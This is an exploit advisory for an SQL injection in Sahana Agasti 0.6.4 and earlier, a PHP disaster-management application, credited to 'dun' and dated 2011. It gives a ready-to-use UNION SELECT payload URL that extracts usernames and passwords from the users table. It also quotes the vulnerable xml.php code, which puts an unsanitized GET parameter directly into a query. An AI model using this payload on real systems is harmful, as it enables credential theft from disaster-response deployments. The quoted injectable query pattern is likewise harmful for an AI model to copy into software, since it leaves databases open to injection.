63 lines
No EOL
2.4 KiB
Text
63 lines
No EOL
2.4 KiB
Text
:::::::-. ... ::::::. :::.
|
|
;;, `';, ;; ;;;`;;;;, `;;;
|
|
`[[ [[[[' [[[ [[[[[. '[[
|
|
$$, $$$$ $$$ $$$ "Y$c$$
|
|
888_,o8P'88 .d888 888 Y88
|
|
MMMMP"` "YmmMMMM"" MMM YM
|
|
|
|
[ Discovered by dun \ posdub[at]gmail.com ]
|
|
|
|
################################################################
|
|
# [ Sahana Agasti <= 0.6.4 ] SQL Injection Vulnerability #
|
|
################################################################
|
|
#
|
|
# Script: "Agasti is the PHP based project of the Sahana Software Foundation.
|
|
# Based a long-term preparedness for disaster management..."
|
|
#
|
|
# Script site: http://www.sahanafoundation.org/
|
|
# Download: https://launchpad.net/sahana-agasti/
|
|
#
|
|
# [SQL] Vuln:
|
|
# http://site.com/agasti/sahana-0.6.4/www/xml.php?act=add_loc&sel=1/**/UNION/**/SELECT/**/null,concat(CHAR(60,66,82,62),concat_ws(char(58),user_name,password)),null/**/FROM/**/users
|
|
#
|
|
#
|
|
# Bug: ./sahana-0.6.4/www/xml.php (lines: 17-21, 200-223)
|
|
#
|
|
# ...
|
|
# $act=$_GET{"act"}; //
|
|
#
|
|
# if($act=='add_loc') // (1)
|
|
# {
|
|
# _shn_get_level_location(); //
|
|
# ...
|
|
#
|
|
# function _shn_get_level_location(){
|
|
# require_once('../3rd/adodb/adodb.inc.php');
|
|
# require_once('../conf/sysconf.inc.php');
|
|
# //Make the connection to $global['db']
|
|
# $db = NewADOConnection($conf['db_engine']);
|
|
# $db ->Connect($conf['db_host'].($conf['db_port']?':'.$conf['db_port']:''),$conf['db_user'],$conf['db_pass'],$conf['db_name']);
|
|
#
|
|
#
|
|
# $level=$_GET{"sel"}; // (2)
|
|
# if($level==1){
|
|
# echo "none,";
|
|
# }
|
|
# $q = "SELECT location.name,location.loc_uuid,parent_id FROM location WHERE location.opt_location_type={$level}"; // (3) SQL
|
|
# $res_child=$db->Execute($q);
|
|
# if($res_child->EOF)
|
|
# return;
|
|
# while(!$res_child->EOF){
|
|
# $res=$res.",".$res_child->fields[1];
|
|
# $res=$res.",".$res_child->fields[0];
|
|
# $res_child->MoveNext();
|
|
# }
|
|
# echo $res; // (4)
|
|
# }
|
|
# ...
|
|
#
|
|
#
|
|
###############################################
|
|
|
|
|
|
[ dun / 2011-01-01 ] |